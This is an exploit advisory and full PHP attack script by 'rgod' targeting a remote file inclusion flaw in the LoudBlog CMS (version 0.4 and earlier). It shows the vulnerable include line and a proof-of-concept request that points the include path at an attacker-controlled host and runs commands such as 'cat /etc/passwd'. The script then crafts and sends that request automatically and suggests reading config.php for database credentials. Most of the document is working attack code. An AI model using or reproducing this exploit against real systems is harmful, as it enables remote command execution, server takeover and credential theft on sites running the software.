------------- LoudBlog <= 0.4 arbitrary remote inclusion ----------- software: site: http://loudblog.de/ description: "Loudblog is a sleek and easy-to-use Content Management System (CMS) for publishing media content on the web. It automatically generates a skinnable website and an RSS-Feed for Podcasting. Just upload your audio/video files, add some notes and links, and you’re done!" -------------------------------------------------------------------- i) vulnerable code in loudblog/inc/backend_settings.php at lines 3-6: ... //change the language if required by POST if (isset($_POST['language'])) { include_once($GLOBALS['path']."/loudblog/lang/".$_POST['language'].".php"); } ... poc: POST [path_to_loudblog]/loudblog/inc/backend_settings.php?cmd=cat%20/etc/passwd&GLOBALS[path]=http://[somehost] HTTP/1.1\r\n"; Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a Host: [target] Content-Length: [data_length] Connection: Close -----------------------------7d529a1d23092a Content-Disposition: form-data; name="language\r\n"; Content-Type: suntzu -----------------------------7d529a1d23092a-- where on http:/[somehost]/loudblog/inc/suntzu.php/index.html, you have code like this: -------------------------------------------------------------------- exploit: ******LoudBlog 4.0 remote commands execution***********

******LoudBlog 4.0 remote commands execution***********

a script by rgod at http://rgod.altervista.org

* target (ex:www.sitename.com)

* path (ex: /loudblog/ or just / )

* specify a command ("cat ./../config.php" to see database username & password)

* a remote location ( ex: http://www.somes ite.com)

speci fy a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$CMD=$_POST[cmd]; $LOCATION=$_POST[LOCATION];$proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $CMD=urlencode($CMD); $LOCATION=urlencode($LOCATION); #STEP X -> one and unique, arbitrary remote inclusion... $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"language\"\r\n"; $data.="Content-Type:\r\n\r\n"; $data.="suntzu\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet="POST ".$p."loudblog/inc/backend_settings.php?cmd=".$CMD."&GLOBALS[path]=".$LOCATION." HTTP/1.1\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Googlebot 2.1\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Note: on remote location you need this code in
http:/[remote_location]/loudblog/inc/suntzu.php/index.html :
"; echo nl2br(htmlentities(" ")); echo "Fill * required fields, optionally specify a proxy...";} ?> -------------------------------------------------------------------- rgod site: http://retrogod.altervista.org mail: rgod at autistici org original adivsory: http://retrogod.altervista.org/loudblog_04_incl_xpl.html --------------------------------------------------------------------